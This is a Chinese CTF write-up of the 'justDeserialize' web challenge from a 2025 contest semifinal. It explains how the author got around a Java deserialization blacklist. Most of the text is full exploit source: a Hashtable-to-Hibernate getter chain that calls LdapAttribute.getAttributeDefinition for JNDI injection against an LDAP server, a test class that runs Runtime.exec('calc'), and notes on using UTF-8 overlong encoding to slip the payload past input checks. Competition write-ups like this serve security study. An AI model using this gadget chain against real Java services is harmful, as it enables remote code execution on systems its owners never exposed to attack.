软件系统安全赛2025华东赛区半决赛wp-web

本文最后更新于:5 天前

总结

和java死磕了一下午,还好队友够给力,最后进了决赛~

用tabby找到一个LdapAttribute类

已经能getter调用了,并且jndi打ldap反序列化本地已经jdk高版本下通了,但是之前打jndi都没用过LdapAttribute这玩意,(最气的是ldap服务器那边已经受到了请求)遂无产出(哭

赛后马上上网搜这个类,还真有在jndi里的打法!https://xz.aliyun.com/spa/#/news/8630

对比了下自己的exp,就差了一个字符串a//b

回到酒店马上加上它,生成payload:

boom!

害,于是赛后抢个首发文章告慰自己吧,,

justDeserialize题解

题目给了个路由/read,简单扫一眼,做了一些过滤后调用他自己的ObjectStream来反序列化

自定义的ObjectStream通过readResolve()进行过滤,从黑名单中读取被ban的类

贴出黑名单,基本上通用的一些链子都被禁了,甚至非常常用的HashMap都被禁了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
javax.management.BadAttributeValueExpException
com.sun.org.apache.xpath.internal.objects.XString
java.rmi.MarshalledObject
java.rmi.activation.ActivationID
javax.swing.event.EventListenerList
java.rmi.server.RemoteObject
javax.swing.AbstractAction
javax.swing.text.DefaultFormatter
java.beans.EventHandler
java.net.Inet4Address
java.net.Inet6Address
java.net.InetAddress
java.net.InetSocketAddress
java.net.Socket
java.net.URL
java.net.URLStreamHandler
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
java.rmi.registry.Registry
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.ObjID
java.lang.System
javax.management.remote.JMXServiceUR
javax.management.remote.rmi.RMIConnector
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
javax.swing.UIDefaults$TextAndMnemonicHashMap
java.rmi.server.UnicastRemoteObject
java.util.Base64
java.util.Comparator
java.util.HashMap
java.util.logging.FileHandler
java.security.SignedObject
javax.swing.UIDefaults

题目的依赖中存在hibernate漏洞版本,在HashMap被禁了的情况下如何调用到hibernate链的入口点hashCode()呢?

(其实hibernate依赖中的TypedValue自己的readObject()中就按理来说能走触发点getHashCode(),但是当时学的时候一直不明白为什么实际上是走不进去的)

HashMap被禁的情况下,也是比较容易就想到他的另一个兄弟HashTable了,为了保证键的唯一性,大概率会有对key求hashCode的过程

从readObject简单跟了下

然后再到reconstitutionPut()方法

最后真的在其中找到了hashCode()的调用!

创了个Users测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.ctf;

import java.io.Serializable;

public class Users implements Serializable {
String name;

public String getName() throws Exception{
Runtime.getRuntime().exec("calc");
return name;
}

public void setName(String name) {
this.name = name;
}
}

然后用HashTable替代HashMap,接上hibernate的链子

成功出现计算器弹出,调用了Users的getter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com.ctf;

import com.zaxxer.hikari.HikariConfig;
import com.zaxxer.hikari.HikariDataSource;
import org.apache.catalina.UserDatabase;
import org.apache.catalina.realm.UserDatabaseRealm;
import org.apache.catalina.session.DataSourceStore;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import org.springframework.boot.jdbc.metadata.CommonsDbcp2DataSourcePoolMetadata;
import sun.reflect.ReflectionFactory;


import javax.naming.CompositeName;
import javax.naming.InitialContext;
import javax.naming.spi.NamingManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class Main {
public static void main(String[] args) throws Exception {

Hashtable hashtable = new Hashtable();

ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

setField(componentType,"propertySpan",2);

Users users = new Users();

TypedValue typedValue = new TypedValue(componentType,users);

PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", Users.class..getDeclaredMethod("getName"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);



hashtable.put(1,111);

Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
if (entry != null){
setField(entry,"key",typedValue);
}
}


String string = Base64.getEncoder().encodeToString(ser(hashtable));


System.out.println(string);

unser(Base64.getDecoder().decode(string));

}
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}


}

到此即可调用任意getter了,找可利用的getter,那就是tabby的强项了

这个众星捧月的lookup就是我们今天的主角,它正是进行jndi注入的关键

保证同时实现Serializable接口的前提下,我相中了 com.sun.jndi.ldap.LdapAttribute这个类

它有个getAttributeDefinition()方法,其中调用了lookup(),一切似乎都在朝着好的方向发展

题目给的环境是需要在jdk11跑的,这么高的版本如何打jndi?

当然是使用我们的JavaChains辣!

自己学习的过程中对于打本地Factory研究并不深入(甚至自己只搞过tomcat+el的方式,但是实际上还有许多的链子,使用java chains的话会带来非常大的遍历

题目中有Jackson依赖,我选了这么一条链路

在jdk11的环境下jndi打的通

接下来就是需要思考如何从LdapAttributegetAttributeDefinition()打到jndi了

接上LdapAttribute,一路按报错添加需要的属性,于是我们的代码有了如下变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package com.ctf;

import com.zaxxer.hikari.HikariConfig;
import com.zaxxer.hikari.HikariDataSource;
import org.apache.catalina.UserDatabase;
import org.apache.catalina.realm.UserDatabaseRealm;
import org.apache.catalina.session.DataSourceStore;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import org.springframework.boot.jdbc.metadata.CommonsDbcp2DataSourcePoolMetadata;
import sun.reflect.ReflectionFactory;


import javax.naming.CompositeName;
import javax.naming.InitialContext;
import javax.naming.spi.NamingManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class Main {
public static void main(String[] args) throws Exception {

Hashtable hashtable = new Hashtable();

ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

setField(componentType,"propertySpan",2);

Users users = new Users();

Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Class c2 = Class.forName("javax.naming.directory.BasicAttribute");
//
Object ldap = createObjWithConstructor(c1,c2,new Class[]{String.class},new Object[]{"test"});
setField(ldap,"rdn",new CompositeName());
// setField(ldap,"baseCtx",new InitialContext());

setField(ldap,"baseCtxURL","ldap://127.0.0.1:50389/");

TypedValue typedValue = new TypedValue(componentType,ldap);

PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", c1.getDeclaredMethod("getAttributeDefinition"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);



hashtable.put(1,111);

Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}


String string = Base64.getEncoder().encodeToString(ser(hashtable));


System.out.println(string);

unser(Base64.getDecoder().decode(string));

}
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
CustomObjectOutputStream customObjectOutputStream = new CustomObjectOutputStream(byteArrayOutputStream);
// objectOutputStream.writeObject(o);
customObjectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}

}

然后:

boom!

这个小问题在于在反序列化之前,有对序列化流base64解密后的字符串做个简单的检测,这个实际上很好绕,走一个utf-8 Overlong Encoding混淆即可

参考文章https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

当然javachains中同样集成了这个功能,(比赛发现这个之前,通过离线文章自己摸索着搓了一个,但是最后的naming死活绕不过去:(((()

在javachains中混淆了一下

我们的debugger也是有反应了!

javaChains的日志也收到了ldap请求!

但是并没有预期的有计算器弹出

脱离web环境,直接尝试进行反序列化,奇怪的报错

(后面就是我在比赛后几个小时在一直折腾的过程了,,,到最后也没折腾出来)

赛后参考了下文章,发现只需要在原先的exp中加上一个"a//b"字符串即可,具体原理这里不做分析,跟一下就行了,(根本原因在于真正触发jndi注入的点其实不在当时一眼看到的那个lookup())

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package com.ctf;


import com.zaxxer.hikari.HikariConfig;
import com.zaxxer.hikari.HikariDataSource;
import org.apache.catalina.UserDatabase;
import org.apache.catalina.realm.UserDatabaseRealm;
import org.apache.catalina.session.DataSourceStore;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import org.springframework.boot.jdbc.metadata.CommonsDbcp2DataSourcePoolMetadata;
import sun.reflect.ReflectionFactory;


import javax.naming.CompositeName;
import javax.naming.InitialContext;
import javax.naming.spi.NamingManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class Main {
public static void main(String[] args) throws Exception {

Hashtable hashtable = new Hashtable();

ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

setField(componentType,"propertySpan",2);

Users users = new Users();

Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Class c2 = Class.forName("javax.naming.directory.BasicAttribute");
//
Object ldap = createObjWithConstructor(c1,c2,new Class[]{String.class},new Object[]{"test"});
setField(ldap,"rdn",new CompositeName("a//b"));
// setField(ldap,"baseCtx",new InitialContext());

setField(ldap,"baseCtxURL","ldap://127.0.0.1:50389/");

TypedValue typedValue = new TypedValue(componentType,ldap);

PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", c1.getDeclaredMethod("getAttributeDefinition"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);



hashtable.put(1,111);

Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}



String string = Base64.getEncoder().encodeToString(ser(hashtable));


System.out.println(string);

unser(Base64.getDecoder().decode(string));

}
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
CustomObjectOutputStream customObjectOutputStream = new CustomObjectOutputStream(byteArrayOutputStream);
// objectOutputStream.writeObject(o);
customObjectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}

}

Utf8OverlongEncoding混淆一下,再发